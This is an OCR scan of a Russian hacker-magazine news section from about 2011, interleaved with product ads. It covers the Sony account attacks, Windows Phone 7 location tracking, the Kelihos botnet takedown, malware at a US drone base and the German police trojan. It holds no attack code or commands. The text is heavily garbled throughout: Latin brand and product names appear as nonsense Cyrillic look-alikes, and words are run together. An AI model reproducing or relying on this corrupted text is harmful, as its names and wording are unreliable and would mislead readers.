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Вся продукция «ТЕВЬЕ МОЛОЧНИК» произведена из цельного 
(невосстановленного) молока очень высокого качества. 
Такой строгий контроль оказывается важным и для людей, 
заботящихся о здоровье, поскольку в последнее время на рынке появилось 
^ много подделок и разбавлений как молока, так и продуктов из него. 








В ПОИСКАХ 
ГЕНОФОНДА 



Нестабильные девяностые, гиперинфляция, хлеб по талонам 
и Ельцин на танке здорово подкосили генофонд нашей страны. По- 
мимоупавшей вдвое рождаемости, важную рольсыграли и просто 
социальные изменениям которых ценность высшего образования 
была сильно девальвирована деградацией созидающей эконо- 
мики, коррупцией и сужением представлений общества о высшем 
образовании, которые свелись к дипломам, продающимся в пере- 
ходах, и недорогому способу не месить парулет глину в неудобных 
сапогах. 

Все эти явления привели к тому, к чему и должны были при- 
вести: кнехваткеадекватныхлюдей и кризису на рынкетруда, 
по крайней мере втехнологическихсекторахэтого рынка. С кем 
бы я ни говорил, все жалуются на недостаток квалифицирован- 
ныхкадров. Езеі сетует, что никто не идет в реверсеры, и некому 
анализировать мал вар ь. Вбгоир-ІВне могут найти крутых перцев 
для интересной работы по расследованию ИБ-инцидентов. Что 
уж говорить, если даже Яндекс слета не может найти себе со- 
трудника для анализа безопасности ѵѵеЬ- проектов компании! Вот 
что мне сказал Антон Карпов (Тоха), ныне работающий в Яндексе 
руководителем отдела безопасности: «С начала лета мы ищем 
спеца поѵѵеЬ-безопасности. Человека, который бы проверял 
наши ѵѵеЬ- проекты — внутренние и внешние — на уязвимости. 
Повесили вакансию на сайт, дали объявления по стандартным 
каналам. Откликнувшиеся есть, но общий уровень слаб. Выбирать 
практически не из кого». 

Ау, мозговитые российские хакеры! Заканчивайте сидеть по 
домам и работать в составе блекхатных ОПГ. Крутые компании, 
достойныезарплаты, интересные проекты и росткармы — всеэто 
ждет вас прямо здесь и сейчас. 
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КОМПАНИЯ ЯНДЕКС вложила 15 
миллионов долларов в американский 
поисковикЫекко. Всего Ыекко привлек 
инвестиций уже более чем на 30 
миллионов долларов. 



БОЫУВНОВЬПОДУДАРОМ 

ЯПОНСКАЯ КОРПОРАЦИЯ 

МАЛО-ПОМАЛУ УЧИТСЯ ОТРАЖАТЬ ХАКЕРСКИЕ АТАКИ 




РанееуБопууже 
были похищены 
данныеЮОмил- 
лионоваккаунтов 
РІауБІаІіопМеІѵѵогк, 
втом числе адреса 
электронной почты 
и номера кредитных 
карт. А в результате 
атаки насервисБопу 
Мизіспроизошла 
утечка данныхеще 
8500 пользователей. 



охоже, скоро мы сами потеряем счет публикациям, посвященным 
файлам корпорации 5опу. С тех пор как 5опу испортила отношения 
с хакерским сообществом (напоминаем, что шумиха поднялась 
«благодаря» судебному преследованию Джорджа ЗеоНоІ Хотца), разные 
ресурсы компании начали подвергаться непрерывным атакам, что сильно 
дискредитировало ее. В последние месяцы все это веселье, казалось, 
наконец поутихло, однакос7по10 октября неизвестные злоумышленни- 
ки предприняли массовые попытки входа в аккаунты пользователей на 
ресурсах РІауЗіаІіоп Ыеіѵѵогк, 5опу Епіегіаіптепі Ыеіѵѵогк и Бопу Опііпе 
Епіегіаіптепі. Во время атаки использовались идентификаторы 60 тысяч 
пользователей РВЫ/ВЕИ и 33 тысяч пользователей ВОЕ. Предполагается, 
что хакеры использовали списки логинов и паролей, которые ранее были 
украдены у какой-то другой компании. Действовали взломщики методом 
обыкновенного брутфорса. Как сообщил официальный представитель 
Вопу, им удалось получить доступ лишь к 0,1 % учетных записей. Однако все 
93 тысячи аккаунтов, идентификаторы которых использовались во время 
атаки, были временно заблокированы. Теперь юзеры должны изменить 
пароли, чтобы самостоятельно разблокировать свои учетные записи. Стоит 
отметить, что на этот раз Вопу отреагировала куда оперативнее, чем рань- 
ше. Очевидно, прошлый опыт не прошел даром. :) 




ѴѴР7 ТОЖЕ СОБИРАЕТ 
ИНФОРМАЦИЮ О ЮЗЕРАХ 



НЕ ТОЛ ЬКО 105 И АЙОВОЮ «КОЛЛЕКЦИОНИРУЮТ» 
ЛОКАЦИОННЫЕ ДАННЫЕ 




есколько месяцев назад интернети офлайновые 
СМИ пестрели сообщениями о том, что устройства 
на базе ІОВ и Апбгоісі собирают да иные о пере- 
мещении своих владельцев без их ведома. Скандал из-за 
этого разразился нешуточный — многим было неприятно 
узнать, что их телефон хранит все логи перемещений за 
последний год. Арріе и Соодіе тогда поспешно изви- 
нились, сообщив, что «шпионили» за пользователями 
безо всякого злогоумысла, и снабдили своиустройства 
функцией отключения «слежки». Кто бы могподумать, 
что через некоторое время эта история получитпродол- 
жение. Выяснилось, что корпорация МісгозоЙтоже не 
прочь проследить за своими клиентами. Оказалось, что и 
аппараты на платформе ѴѴіпсІоѵѵз РЬопе 7 точно та к же без 
разрешения владельцев собирают локационные данные, 
то есть данные о точках доступа ѴѴі-Рі и ретрансляторных 
станциях, позже используемые в приложении камеры в 
смартфоне. 

Англоязычные версии смартфонов также собирают 
данные о командах голосового поиска. Некоторое время 
МісгозоЙ пыталасьотрицать всеэти факты, но в итоге 
была вынуждена признать, что«слежка» имеетместо. 
Теперь компания уверяет, что всему виной программная 
ошибка, и обещает исправить ее в версии ѴѴР 7.5. 





АНТИВИРУС МІСК050РТ 
5ЕСІЖІТѴЕ55ЕМТІАІ.5 

внезапно обнаружил троян 
РѴѴ5:ѴѴіп32/2ЬоІ в боодіе 
СЬготе. И удалил его вместе 
сбраузером.Конечноже, 
совершенно случайно:). 




ПОЙМАНХАКЕР, взломав- 
ший смартфоны Скарлетт 
Йоханссон и многих других 
знаменитостей. Тридцатипя- 
тилетнему Кристоферу Чей- 
ни предъявлено обвинение, 
емугрозит121 год тюрьмы. 




НАПАРЛАМЕНТСКИХ 
ВЫБОРАХ, прошедших 
недавно в Берлине, пятое 
место заняла Пиратская 
партия. Всего пираты на- 
брали 9% голосов. 




ФУНКЦИЯ АВТОМАТИЧЕ- 
СКОГО РАСПОЗНАВАНИЯ 
ЛИЦна фото скоро появится 
и в «Одноклассниках». 
Технология практически 
аналогична уже запущенной 
вРасеЬоок. 




ІСО И «МАН-ВЦ АГЕНТ» 
ОБЪЕДИНЯТСЯ 
НА ПЛАТФОРМЕ «МаіІ.ги 
Агента». Это вполне ожи- 
даемый шаг, призванный 
ускорить развитие сервисов. 
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МЕ6АЫЕѴѴ5 



С006І.Е ОБЪЯВИЛ О ЗАКРЫТИИ ЦЕЛОГО РЯДА СЕРВИСОВ: боодіе Вии, боодіе ЬаЬз, Соодіе Согіе БеагсИ и ^іки. 



«АУДИОКОНФЕТКА» 
ОТ ЕБІЕІЕР 



ОДНИМ 

БОТНЕТОМ МЕНЬШЕ 



НОВОЕ ПОРТАТИВНОЕ РЕШЕНИЕ ОТ ИЗВЕСТНОГО ПРОИЗВОДИТЕЛЯ 




по-настоящему 

компактнаяаудио- 

системасотличным 

качествомзвучания. 



омпания ЕсШіег представила новую портативную колон куАисІіоСапсІу 2 
(МР17) с расширенными функциональными возможностями. Это прак- 
тически идеальное решение среди аудиосистем класса «музыка всег- 
да с тобой». Колонка, имеющая 115В- порт и встроенный РМ-радиоприемник, 
незаменимый на отдыхе или в путешествиях, укомплектована картой 5й и 
мощным аккумулятором, который обеспечивает до восьми часов автономной 
работы (его можно подзаряжать с помощью 115В- кабеля). МР17 имеет два ши- 
рокополосных полуторадюймовыхдинамика и пассивный радиатор. Мощность 
звучания этой совсем небольшой колонки достигает 2,4 Вт РМ5! При этом она 
занимает очень мало места, а защитный чехол для транспортировки предохра- 
няет ее от повреждений. ЕсІіЛег МР17легко подключается к любому источнику 
звука через разъем АІІХ. Устройство оснащено передней контрольной панелью 
дляудобства навигации потрекам, регулирования громкости и переключения 
РМ -каналов. Ее стоимость составляет всего 1300 рублей. ЕсІіЛег МР1 7 станет 
отличным новогодним подарком. 




КАК МІСК050РТ БОРЕТСЯ СЗОМБИ-СЕТЯМИ 



орпорация МісгозоН, объявившая самую настоящую 
войну ботнетам, в последнее время вполне успешно 
закрываетиходинзадругим. Мы рассказывали, как 
в прошлом году был обезврежен огромный ботнет ѴѴаІесІас, а 
после него — неменееогромный Ризіоск. Очереднаяжертва 
МісгозоК — ботнетКеІіЬоз(такжеизвестный какНІих) — 
объединял около 42-45 тысяч машин по всему миру. При этом 
Кеіібозумудрялся рассылать порядка четырех миллиардов 
спам-сообщений вдень. Помимоэтого,ботнетиспользовал- 
ся для кражи личныхданных, 00о5-атак, биржевых мошен- 
ничеств типа «накачка и сброс» и многих других незаконных 
махинаций. На этот раз в борьбе со злоумышленниками 
МісгозоЙ помогали специалисты «Лаборатории Каспер- 
ского». По словам юриста МісгозоН Ричарда Босковича, ЛК 
вообще сыграла в деле ключевую роль. Она наблюдалаза 
КеІіЬоз с начала 2011 года, а сейчас перехватила управление 
ботнетом. Специалисты «Лаборатории» проанализировали 
код этой зомби-сети, разобрали протокол связи, обнаружили 
уязвимость в ее пиринговой инфраструктуре и разработали 
соответствующие инструменты обезвреживания. Главным 
инструментом стал зіпкбоіе-маршрутизатор — один из 
компьютеров«Лаборатории» внедрился вботнет, чтобы по- 
лучить контроль над ним. Двадцать шестого сентября ЛК на- 
чала распространять специальный адрес пира. Скоро адрес 
начал преобладать в ботнете: боты стали подключаться толь- 
ко к машине «Лаборатории». В этом и состоит сутьзіпкбоііпд 
— вместонастоящихконтроллеровботы коннектятся к 
специально внедрен ному в ботнет фал ьшивомууправляю- 
щему центру. С этого момента командоватьботнетом стало 
невозможно. Параллельно МісгозоН обратилась в судебные 
органы СШАстребованием отключитьдомены, используе- 
мые для управления ботнетом. В итоге постановление об 
ихотключении вынес окружной суд штата Вирджиния. Все 
заблокированные домены обслуживались регистратором 
Ѵегі5ідп. Большинство из них было зарегистрировано на 
анонимных лиц с Багамских островов, а один — на предпри- 
нимателя из Чехии. Возникаетвопрос, что делатьсботнетом 
дальше? Дело в том, что зіпкЬоІіпд ботнета — временное 
решение, ЛК не сможет постоянно сдерживать зомби-сеть с 
помощью этого метода. Конечно, используя знания отом, как 
происходит обновление ботнета, можно выпустить специ- 
альноеобновление, котороеустранитзаражениеи само- 
ликвидируется, однако в большинстве стран такие действия 
будутсчитаться незаконными. 



ГЛОНАСС ВЕЗДЕ И ВСЮДУ 



СТАЛО ИЗВЕСТНО, ЧТО 
В ІРНОЫЕ 45 ЗАЯВЛЕНА 
ПОДДЕРЖКА ГЛОНАСС. 

НЕТ, 6Р5 ТОЖЕ НАЛИЧЕСТВУЕТ. 
НЕТ, ЭТО НЕ ШУТКА. 
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Экономия расход 
с МФУ Рапазопіс 

Часто меня спрашивают - что помог, 
Вам создать крепкий бизнес? 

Как директор могу посоветовать: 
минимизация затрат дает отличный 
эффект. 



Рапа$опіс 

ісіеаз (6г Іі#е 



Рекомендую в офисах использовать 
МФУ Рапазопіс! Устройство помогает 
сократить расходы благодаря 
использованию раздельных расходных 
материалов и функции РС-факс. А 
высокая скорость печати (24 стр./мин.) 
экономит время сотрудников для новых 
задач. 



Илья Молотков 

Директор 



МФУ Рапазопіс 




- факс/телефон/принтер/ 
сканѳр/копир/РС-факс 

- сетевой интерфейс 

- лазерная печать 
24 стр./мин. 

- цифровой автоответчик 
(до 30 мин.) 

- беспроводная ОЕСТ трубка 




КХ-МВ2030ВІІ 

- факс/телефон/принтер/ 
сканер/копир/РС-факс 

- сетевой интерфейс 

- интерфейс подключения 
к ПК -115В 2.0 

- автоподатчик на 20 листов 

- лазерная печать 
24 стр./мин. 



4 



КХ-МВ2020Ви 

- факс/телефон/принтер/ 
сканер/копир/РС-факс 

- сетевой интерфейс 

- интерфейс подключения 
к ПК - 115В 2.0 

- АОН, СаІІегЮ 

- лазерная печать 
24 стр./мин. 





- принтер/сканер/копир 

- сетевой интерфейс 

- интерфейс подключения 
к ПК - 115В 2.0 

- лазерная печать 
24 стр./мин. 

- цветное сканирование 

- сканирование на е-таіі, 
РТР-сервер 



- принтер/сканер/копир 

- интерфейс подключения 
к ПК - 115В 2.0 

- лазерная печать 
24 стр./мин. 

- цветное сканирование 



■ПРИНТЕР •СКАНЕР АКОПИР 1ФАКС АРЕСТ 



Решения 



для офиса 



\ллллл/. рапазопіс. ги 

Информационный Центр Рапазопіс: для Москвы (495) 725-05-65, для регионов РФ 8-800-200-21-00 (звонок бесплатный) 

На правах рекламы ООО «Панасоник Рус» -уполномоченного представителя компании Рапазопіс Согрогаііоп Ш. на территории России 




МЕ6АЫЕѴѴ5 



ИССЛЕДОВАТЕЛИИЗУНИВЕРСИТЕТАДЬЮКАпришли к выводу, что отказ от РРМ только снизитуровень пиратства. 



ПРИНУДИТЕЛЬНЫЙ ОПРОС 
СРЕДИ ПИРАТОВ 

КАКСОБРАТЬСТАТИСТИКУ О ЛЮБИТЕЛЯХ ХАЛЯВЫ? 
КОНЕЧНО, ХИТРОСТЬЮ! 




еобычное исследование провела недавно 
анти пиратская организация Ѵідііапі Беіюпсіег. 
Аналитики Ѵідііапі Беіюпсіег решили организо- 
вать опрос среди геймеров, для чего умышленно распро- 
странили в Сети пиратскую копию бета -демоверсии игры 
Бейз Ех: Нитап Реѵоіиііоп с кряком. Эту пиратку скачали 
сотни тысяч людей, даже не подозревая о том, что она 
с сюрпризом. Нет, игра действительно за пускалась и 
работала, но через некоторое время открывала веб- 
форму, которая предлагала пользователю ответить на 
ряд вопросов. В основном вопросы касались копирайта и 
пиратства. Большинство игроков, как ни странно, не ис- 
пугались и ответили на предложенные вопросы. Так, 24% 
участников опроса заявили, что уже заказали лицензи- 
онную версию игры, а еще 25 % ответили, что собираются 
купить лицензию позже. Около половины опрошенных 
скачали пиратскую версию, чтобы просто посмотреть, 
стоит л и игра своих денег. При этом большинство гей- 
меров, участвовавших в опросе, отметили, что готовы 
заплатитьза лицензию не более $30-40 (кслову, на 
самом деле Бейз Ех: Нитап Реѵоіиііоп стоит$60). Входе 
опроса также выяснилось, что многие считают систему 
БРМ неэффективной. 





Вопросехитрых 
антипиратовпри- 
нялиучастие900 
тысячуникальных 
посетителей. Неле- 
гальную копию Рейв 
Ех: Нитап Веѵоіиііоп 
скачали около 
миллионачеловек. 



СЕКРЕТНЫЕДАННЫЕ. 

ДЕШЕВО 

БЕЗОПАСНОСТЬ БРИТАНСКОГО АЭРОПОРТА СЛУЧАЙНО 
ОКАЗАЛАСЬ ПОД УГРОЗОЙ 




его только не продают на еВау! На крупнейшем в 
мире сетевом аукционе выставлялись и экспери- 
ментальная модельроссийского космического 
корабля, и смысл жизни, и многие другие смешные и 
экстравагантные лоты. Однако на этом аукционе нередко 
продаются и совсем не безобидные вещи. Однажды экс- 
пертвобласти информационной безопасности МайкКемп 
решил приобрести на еВау подержанный коммутатор за 
Е20. Получивустройство, Кемп судивлением обнаружил на 
нем маркировку Национальной службы управления воз- 
душным движением Великобритании (Ы АТ5). Заинтересо- 
вавшись, он изучил приобретениеболеедетально. В силу 
своей профессии Майкбезтруда понял, что девайс ранее 
использовался в сети «Аэропорта Глазго Прествик». Ока- 
залось, что в памяти устройства осталась вся информация 
о настройках сети аэропорта, а также пароли для доступа 
к некоторым его службам. Если бы эти данные попали в 
руки злоумышленников, то они смогли бы контролировать 
поток да иных в сети аэропорта с помощью своего комму- 
татора. Тоестьсмогли бы вмешаться в работу аэропорта 
и даже нарушить передачу да иных по внутренней сети. 
Представители ЫАТБзаявили, что приобретенный Кемпом 
коммутатор не использовался в системе, отвечающей за 
воздушный контроль. Крометого, конфигурация системы 
якобы была измененауже после продажи. Каким образом 
подл ежащее уничтожен ию оборудование оказал ось на 
интернет-аукционе, покажет расследование. 



ѴѴЕХІ.ЕК.ВООКЕ6002. Компания ѴѴЕХІ.ЕК начала поставки 
новой компактной электронной книги ѴѴЕХІ.ЕР.ВООКЕ6002, 
которая приходитна смену модели Е6001. Новый девайсрабо- 
таетна базе 6.0" дисплея нового поколения РЕАВІ_, который 
гарантирует комфортное для глаз чтение книги просмотр 
изображений. Устройство оснащено встроенной памятью 
объемом 4 ГБ, при желании можно установить и 50-карту 
объемом до 36 ГБ. Новинка поддерживает самые популярные 
форматы электронных книг, изображений и аудио файлов. 
Благодаря встроенному литий-полимерному аккумулятору 
емкостью 1500 тАИ, ѴѴЕХІ_ЕВ.ВООКЕ6002имееточеньнизкое 
энергопотребление и при интенсивном чтении полного заряда 
хватаетна несколько недель. Рекомендованная розничная 
цена новинки-5 990 руб. 
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СОЗДАЕТСЯ ВПЕЧАТЛЕНИЕ,ЧТОРАУРАЮТ ДУШИ 
ГЛУМИТСЯ НАД РОССИЙСКИМИ ЮЗЕРАМИ. Недавно 
компания сообщила, что открывает для россий- 
скихпользователейвозможностьприема плате- 
жей. Через два дня выяснилось, что это сообще- 
ние-ошибка. Теперь РауРаІ вновь официально 
объявила отом, что российские пользователи 
смогут принимать платежи, а комиссия для них 
составит от 2,4 до 3,4% от переведенной суммы. 
Однако выводить деньги можно будеттолько 
через банкиСША. 
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А51І5 рекомендует ѴѴіпсІоѵѵз® 7. 







Когда в последний раз вы слышали 
нечто невероятное на ноутбуке? 

Больше мощности. Больше силы звука. 

Больше времени работы от батареи. 

По-настоящему невероятный ноутбук 

Представляем новые ноутбуки А51І5 серии N 




Дух инноваций • Путь к совершенству 



Просто 
как никогда 




\Л/ІПСІОѴѴ5 7 



Реклама. 




МЕ6АЫЕѴѴ5 



В РАСЕВООК ПОЯВИЛСЯ ВСТРОЕННЫЙ ПЕРЕВОДЧИК. Функция работает для перевода записей и комментариев. 




РІѴѴ-2011 

ЖЕЛЕЗНЫЙ БЛОК, ИЛИ ПЕРВОПРОХОДЦЫ 

□ вадцатого октября в Экспоцентре на Красной Пресне 
произошлоуникальное событие: впервыеза всю 
историю РІѴѴ мы выступили партнером профессио- 
нальной программы и провели в Красном зале собственную 
блок-конференцию. В нашем блоке мы говорили главным 
образом об основныхугрозах в области информационной 
безопасности и о защитных механизмах, используемых разра- 
ботчиками софта .Алекса ндр Матросов, ру ководител ь центра 
вирусных исследований и аналитики Е5ЕТ, рассказал об уча- 
стившихся инцидентах в области дистанционного банковского 
обслуживания. Он рассмотрел типы атак, которые чаще всего 
встречаются в современныхтроянских программах, и привел 
обзор наиболее активных «банковских» ботнетов. 

Большой резонанс вызвал доклад «Анализ современного 
российского рынка компьютерных преступлений, актуаль- 
ныетенденции и оценка текущего состояния», с которым 
выступил генеральный директор Огоир-ІВ Илья Сачков. 

На примере кейсов 201 1 года он рассказал об уникальных 
способах совершения компьютерных преступлений. С докла- 
дом об эволюции уязвимостей, количество которых сильно воз- 
росло в последние годы, выступил Алексей Синцов, руководи- 
тель департамента аудита из йідііаі Бесигііу. Он акцентировал 
внимание на развитии защитных механизмов и совершенство- 



вании методов эксплуатации уязвимостей, а также рассказало 
неэффективности существующих мер по защите ПО. 

Большой интерес вызвал у присутствующих доклад Игоря 
Баринова, СЕО-специалиста из НіпіБоІибопз. Доклад был 
посвящен созданию общественно-политических приложений 
для мобильных платформ на примере реализованных проектов 
«РосПил» и ѴѴікіБеакз. Игорь осветил тренды разработчиков 
мобильных приложений и представил собственные разработ- 
ки в этой области. Юрий Г ольцев, эксперт отдела консалтинга 
Розібѵе ТесЬпоІодіез рассказал об облачных вычислениях с 
точки зрения пентестера, поделился опытом создания «ра- 
дужных»таблицдля офлайн-перебора паролей и рассмотрел 
вопросы построения сетевых сервисов на базе облачных 
вычислений и принципы создания сервисов потестированию 
на отказоустойчивость. Все это можно былоуслышать в нашем 
блоке на РІѴѴ-2011. 

Мы бы хотели выразить благодарность всем докладчи- 
кам, которые поддержали нас в этом серьезном и важном 
начинании, организатору РІѴѴ 201 1 — Российской ассоциа- 
ции электронных коммуникаций — и лично Сергею Плуго- 
таренкоза оказанное доверие. Мы собрали самое большое 
количество показов в Сети, провели прямое включение из 
Медиацентра и дали комментарии для телеканала РБК. От- 
дельное спасибо нашим читателям и победителям конкурса 
«Выиграй промо-код на РІѴѴ-201 1 », который мы проводили 
в нашей группе ВКонтакте: Василию Колесникову и Алек- 
сандру Калединову. Оставайтесь с нами! 



Х-десантнаКІѴѴ2011, 
слева направо:Юрий 
Гольцев, Алексей Синцов, 
Василий Колесников, 
Александр Калединов, 
Никита Кислицин, Илья 
Сачков, Александр 
Матросов. 



НЕАОНАЫТЕК. ВЦ ОПРОСИЛ ІТ-ШНИКОВ 



ОКОЛО 71 % РОССИЙСКИХ 
ИТ-СПЕЦИАЛИСТОВ ХОТЯТ 
ПОЛУЧАТЬ ЗАРПЛАТУ В РУ- 
Б ЛЯХ, ВСЕГ0 18 % НЕ ПРОЧЬ 
ПЕРЕИТИ НА ЕВРО, И ТОЛЬ- 
КО 8 % — НА ДОЛЛАРЫ. 
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7 ФИШЕК 

ВІІГГАШ МІІЧІЗТАТІОЫ РШ5 




Противоударный 

корпус 

Портативный жесткий диск ВіЖаІо Міпі5іаІіоп 
РІиз обладает стильным противоударным 
корпусом и может вмещать в себя до 1 Тб 
данных. Девайс отлично подойдет для еже- 
дневного использования в роли портативного 
контейнера для надежного переноса данных, 
за их сохранность можно не волноваться. 



Удобный бэкап 



Эффективное 

электропитание 



В ВиІТаІо МіпіЗіаІіоп РІиз 
реализована технология есо 
Мападег, которая эффективно 
регулирует потребление энер- 
гии. Это придется по вкусу 
владельцам ноутбуков: ведь в 
конечном счете эта экономия 
выливается в увеличенное 
время автономной работы. 



Поддержка У5В 3.0 



С помощью Випаю в Васкир шііііу 
можно довольно удобно настроить 
бэкап важных файлов на компью- 
терах под ѴѴіпсІоѵѵз. Кроме этого, 
устройство польностью совмести- 
мо с технологией Тіте МасЫпе, 
служащей для эффективного бэкапа 
данных в МАС 05 X. 



Благодаря поддержке 115В третьей 
версии, скорость работы устройства 
значительно выросла: по сути, теперь 
она упирается в скорость работы са- 
мого жесткого диска, а не в пропуск- 
ную способность шины. Устройство 
при этом полностью универстально: 
девайс отлично работает и с 
устаревшими версиями 115В. 



Утилита КАМ0І5К 

РАМ0І5К — фирменная ути- 
лита от ВиИаІо для создания 
быстрого виртуального диска 
в оперативной памяти и ав- 
томатической синхронизации 
его содержимого с жестким 
диском. Фишка тут в том, что 
работа сданными на вирту- 
альным диске осуществля- 
ется с огромной скоростью, 
ведь все данные хранятся 
в оперативной памяти. С 
жестким диском информация 
при этом синхронихируется 
автоматически. 



Технологии ТигЬоРС и 
ТигЬоСору 

Эти фирменные технологии повы- 
шают общую производительность 
компьютера и вкупе с исполь- 
зованием 115В 3.0 почти втрое 
повышают скорость передачи 
данных. 



Шифрование данных 

Устройство на аппаратном 
уровне поддерживает функ- 
цию шифрования данных АЕ5 
с ключом длиной 256 бит. Все 
общение с криптоконтейнерами 
и файлами строится при этом с 
помощью фирменной софтины 
5есигеІ_оскМоЬіІе. 
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МЕ6АЫЕѴѴ5 



ТНЕѴУАЫ.5ТВЕЕТ .ІОиКЫАІ., РЬоІоЬискеІ и сотни других сайтов делятся логинами и лич- 
ной информацией пользователей с рекламодателями и другими третьими лицами. 



АМЕРИКАНСКИЕ 
БЕСПИЛОТНИКИ ПОДУГРОЗОЙ 

СИСТЕМУУПРАВЛЕНИЯ БЕСПИЛОТНЫМИ АППАРАТАМИ ВВССША 
ПОРАЗИЛ ВИРУС 



По некоторым 
оценкам, беспилот- 
ныелетательные 
аппараты военно- 
воздушныхсилСША 
кнастоящемумомен- 
туубили в горячих 
точках порядка двух 
тысяччеловек. 



К ак известно, американские военные активно применяют беспилот- 
ники в горяч их точках, в том числе в Пакистане, Йемене и Афгани- 
стане. Компьютеры, которыеуправляютбоевыми беспилотными 
аппаратами типа Ргесіаіог и Реарег, располагаются набазеВВССША 
«Крич» в Неваде. Пилоты, находящиеся в Неваде, отслеживают видеопо- 
ток, поступающий с самолетов, и контролируют их с помощью компьютера 
и джойстика. 

В заявлении ВВС США говорится, что автономные системы базы были за- 
ражены вредоносным ПО. Программное обеспечение для «кражи учетных 
записей пользователей» было обнаружено на переносных жестких дисках 
в сентябре. Поскольку наземная система отделена от системы контроля, 
используемой пилотами для дистанционного управления, возможность 
безопасного управления беспилотниками сохранялась на протяжении все- 
го инцидента. Вирус не перехватывал управление самолетами, однако за- 
поминал, какие клавиши нажимают пилоты. Предположительно, малварь 
попал в систему через жесткий дискилидиск, который подцепил заразу в 
каком-то другом месте. Кроме того, анонимные источники утверждают, что 
такой малварь часто используется для кражи логинов и паролей у людей, 
которые делают ставки через интернет или играют в онлайн-игры наподо- 
бие МаПа ѴѴагз :). 




ЗБ-ПРИНТЕРДЛЯДОМА 

ДОСТУПНОЕ РЕШЕНИЕ ДЛЯ ПЕЧАТИ НА ВОСКЕ, 
ПРОБКЕ И ПЛАСТИКЕ 

□ а ми по себе Зй -принтеры (то есть устройства 
для быстрого изготовления прототипов де- 
талей методом послойного формирования из 
полимерных материалов] сегодня уже никого не удив- 
ляют. Однако такие аппараты в основном используют на 
производстве. Это значит, что они обладают немалыми 
габаритами, дорого стоят и совсем не предназначены 
для дома. Японская компания Роіап б йС, которая реши- 
ла компенсировать эту несправедливость, предлагает 
компактный Зй-принтер іМобеІадлядомапоценевсего 
лишь $977 (средняя стоимость Зй-принтера состав- 
ляет несколько тысяч долларов). Конечно, устройство 
не умеет работать, скажем, с металлом, однако без 
проблем «понимает» пластик, пробку, пенопласт, воск 
и тому подобные материалы. Вместе с принтером по- 
ставляется специальное ПО для разработки трехмер- 
ных моделей для печати. Судя по всему, сверхсложных 
форм с помощью этого аппарата, конечно, не создать, 
но различную приятную мелочевку — запросто. Одним 
словом, это прекрасный девайс для моделистов, ди- 
зайнеров, технологов и других любителей прикладного 
творчества. 






ІЧ6ІИХ 



□ 



□ЬгеОіТісе 

ТЬе Ооситепі Роыпбагіоп 



НЕДАВНЕЕТЕСТИРОВАНИЕ 
ПОКАЗАЛО, что 27из100рас- 
ширенийСИгопле уязвимы к 
атакам по извлечению данных. 
ВтестированииучаствовалибО 
случайных расширений и 50 наи- 
более популярных. 



КРУПНЕЙШИЕ ИНТЕРНЕТ- 
ПРОВАЙДЕРЫ БЕЛЬГИИ Веідасот 
и Теіепеі должны по решению суда 
заблокировать 11 доменных имен, 
используемыхТИе Рігаіе Вау. 



ВОНА САРІТАЬ ВМЕСТЕ С ДВУМЯ ДРУГИ- 
МИ ИНВЕСТОРАМИ вложила 3 миллиона 
долларов в веб-сервер И6ШХ, созданный 
российскими разработчиками. В на- 
стоящее время он установлен почти на 43 
миллионахдоменов. 



АНОНСИРОВАНЫ ОНЛАЙН- 

ВЕРСИЯпакета ЫЬгеОЖсе и 
версии офисных приложений 
для мобильныхплатформ Арріе 
іОБибоодІеАпгігоісІ. 
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«МТС» И «ВЫМПЕЛКОМ» («БИЛАЙН») подписали соглашение о совместном участии в создании сетей НЕ. 



ВЛАСТИ ТОЖЕ ИСПОЛЬЗУЮТ 
МАЛВАРИ 



ВОРОВАТЬ ЭЛЬФОВ 
ПЛОХО! 



ХАКЕРЫ УЛИЧИЛИ ПРАВООХРАНИТЕЛЬНЫЕ ОРГАНЫ ГЕРМАНИИ 
ВСЛЕЖКЕЗАЛЮДЬМИ 




СЗР0-г2сІ2-Р0Е — такой пароль 
использовался для передачи по- 
лученных данных на сервер в США. 
Авторы троянца явно были фанатами 
«Звездныхвойн».:) 




оюз компьютерных экспертов и профессиональных хакеров СЬаоз 
Сотріііег СІиЬ (ССС) обвинил правительство Германии в создании 
и использовании нелегального трояна для телекоммуникацион- 
ной слежки за подозреваемыми. Прога, попавшая в руки ССС, применя- 
лась немецкой уголовной полицией в качестве средства для проведения 
«онлайн -обысков». Слежка такого рода сама по себе не является неза- 
конной, однако прога, как выяснилось, позволяет дистанционно управ- 
лять микрофоном, видеокамерой и клавиатурой на компьютерах «жертв» 
и может скрыто загружать стороннее ПО. В целом программа нарушает 
немецкое законодательство в сфере неприкосновенности частной жизни 
граждан. К тому же в этом шпионском ПО найдено множество дырок, а 
сервер, на который троян отсылает информацию, и вовсе находится в США, 
на территории которых немецкие законы не действуют. Власти Германии 
уже подтвердили, что правительственные организации действительно 
использовали программу, но исключительно для телекоммуникационной 
слежки за подозреваемыми и строго в рамках закона. Также власти за- 
вуалированно намекнули, что в ССС, скорее всего, анализировали старый 
тестовый образец «легального» трояна. 



ВИРТУАЛЬНОЕ ПРЕСТУПЛЕНИЕ 
И РЕАЛЬНОЕ НАКАЗАНИЕ 




ошенничество в онлайновых играх — вещь не 
новая и, конечно же, незаконная. Однако немногие 
понимают, чтоза проделки в Сети можно нетолько 
получить игровой бан, но и заработать вполне реальный 
тюремный срок. Это не про Россию, скажешьты? Ошибаешь- 
ся! Любопытны й случай произошел недавно в Волгодонске. 
Местная полициязадержала 20-летнегожителя городаза 
кражу игрового персонажа. Речь идет о персонаже по имени 
В5І_ (темный эл ьф 82 или 84уровня) из ММ0РПГІ_іпеаде2. 
Владелец В5І_, житель Мурманска, заявил о краже чара 
почти год назад. В том, что это был не технический сбой, 
геймерубедился, когда емупришлопредложение выкупить 
персонаж. Потерпевший врядли надеялся наудачный исход 
дела, однако полиция, как ни странно, нашла злоумышлен- 
ника и даже вернула персазаконному обладателю. Особую 
пикантностьэтой истории придаеттотфакт, что при обыске 
квартиры похитителя полицейскиеизъяли семьмощных 
компьютеров. Оперативников особен но удивил и рельсы в 
комнате с компами, позволявшие быстро перемещаться от 
одного ПКкдругому, какв голливудскихфильмах. Теперь 
подозреваемого, который пока находится под подпиской о 
невыезде, ждетсудебное разбирательство. Если винаха- 
кера будет доказана, ему грозит ни много ни мало лишение 
свободы на срокдо двухлет. Авсего-то, казалосьбы, украл 
какого-то виртуальногоэльфа... 





ІЕ 9 РАСПОЗНАЕТ И 
БЛОКИРУЕТ оттрехдо пяти 
миллионов онлайн-угроз в 
день, сообщаетМісгозоН. 
Браузер отфильтровывает 
92% опасных II КЬадресов и 
8% скачиваемых программ. 



ФУНКЦИОНАЛ РН0Т05Н0Р 

